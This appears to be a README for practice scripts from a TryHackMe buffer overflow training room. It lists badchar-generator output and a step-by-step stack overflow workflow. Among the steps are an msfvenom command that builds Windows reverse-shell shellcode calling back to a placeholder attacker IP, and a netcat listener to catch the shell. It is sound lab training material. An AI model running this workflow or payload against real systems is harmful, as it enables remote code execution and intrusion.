This repo is for two python files used to complete the OSCP BufferOverFlowPrep room from TryHackMe.com

I used the provided script's from THM for the first 4 levels of the room.

I then coded myfuzz.py and myexp.py on my own and for practice.

I also made a quick script, badchars.py to generate string that removes bad characters.

notice the output starts at \x03 skipping over the bad chars

python3 badchars.py

Enter badchars, example \x00\xae\x24: \x00\x01\x02

\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f
\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c
\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29
\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36
\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43
\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50
\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d
\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a
\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77
\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84
\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91
\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e
\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab
\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8
\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5
\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2
\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf
\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec
\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9
\xfa\xfb\xfc\xfd\xfe\xff

• config mona in Immunity Debugger
  • !mona config -set workingfolder c:\mona%p
• fuzz to find crash point with myfuzz.py
• generate pattern to find EIP offset
  • /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l (fuzzing break point)
• put character pattern "payload" in myexp.py
• find eip offset
  • !mona findmsp -distance (fuzzing break point)
• add offset to myexp.py and RETN with "BBBB" eip should have "42424242" to verify we've overwritten EIP
• check bad chars
  • create char list for mona !mona bytearray -b "\x00"
  • create local list with badchars.py
  • put badchars.py output in myexp.py payload then run
• check bad chars in mona with esp address
  • !mona compare -f C:\mona\oscp\bytearray.bin -a (ESP Address)
• find jmp esp - !mona jmp -r esp -cpb "(found bad chars)"
• generate shell code with msfvenom
  • msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "(found bad chars)" -f c
• Add NOP sled to prepend in myexp.py
  • prepend = "\x90" * 16 in myexp.py
• Start Netcat Listener for port usesd in msfvenom
• Send the exploit by running myexp.py one last time and catch the shell.